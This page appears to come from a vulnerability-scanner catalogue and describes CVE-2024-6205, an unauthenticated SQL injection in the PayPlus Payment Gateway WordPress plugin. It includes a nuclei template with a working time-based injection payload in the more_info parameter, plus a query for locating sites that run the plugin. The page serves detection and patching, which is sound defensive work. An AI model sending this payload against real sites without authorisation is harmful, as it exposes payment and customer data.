PayPlus Payment Gateway < 6.6.9 - SQL Injection

criticalseverity

9.8CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.

Impact

Unauthenticated attackers can execute time-based SQL injection through WooCommerce API routes to extract sensitive payment information, customer data, and database credentials.

Fix

Update PayPlus Payment Gateway plugin to version 6.6.9 or later to address the SQL injection vulnerability.

How to confirm it

Send: @timeout 20s
Positive when: duration>=6 and status_code == 302 and regex('^-1$', body) and contains(content_type,"text/html")

Run it with nuclei: nuclei -id CVE-2024-6205 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6205

info:
  name: PayPlus Payment Gateway < 6.6.9 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through WooCommerce API routes to extract sensitive payment information, customer data, and database credentials.
  remediation: |
    Update PayPlus Payment Gateway plugin to version 6.6.9 or later to address the SQL injection vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payplus-payment-gateway/payplus-payment-gateway-668-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/7e2c5032-2917-418c-aee3-092bdb78a087
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6205
    cwe-id: CWE-89
    epss-score: 0.04134
    epss-percentile: 0.90914
  metadata:
    max-request: 1
    vendor: payplus-ltd
    product: payplus-payment-gateway
    framework: wordpress
    publicwww-query: "/wp-content/plugins/payplus-payment-gateway"
  tags: time-based-sqli,wpscan,cve,cve2024,sqli,wordpress,wp-plugin,wp,payplus-payment,vkev,vuln

http:
  - raw:
      - |
        @timeout 20s
        GET /?wc-api=payplus_gateway&status_code=true&more_info=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 302"
          - "regex('^-1$', body)"
          - 'contains(content_type,"text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from